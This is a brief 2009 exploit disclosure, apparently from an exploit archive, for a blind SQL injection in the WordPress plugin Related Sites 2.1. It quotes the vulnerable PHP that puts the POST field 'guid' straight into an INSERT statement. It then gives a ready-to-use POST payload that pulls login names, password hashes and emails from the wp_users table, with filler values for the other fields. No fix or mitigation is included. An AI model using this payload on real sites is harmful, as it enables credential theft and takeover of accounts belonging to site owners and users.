WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln

fuchou-angle

WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln

http://wordpress.org/extend/plugins/related-sites/
/wp-content/plugins/related-sites/BTE_RW_webajax.php

eLwaux(c) 30.05.2009, uasc.org.ua

SQL-Inj

27:  $guid = $_POST['guid'];
28:  $click = $_POST['click'];
31:  $ref = $_SERVER["HTTP_REFERER"];
40:  if ($guid!="" && $click!="" && $hostname!="" && $ipaddr!="" && $ref!="") {
53:   $sql = "INSERT INTO $clicks_table_name (guid,click) VALUES ('$guid','$clickinfo')";
55:  }

exploit:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );--
POST: click = .
HTTP_REFERER = .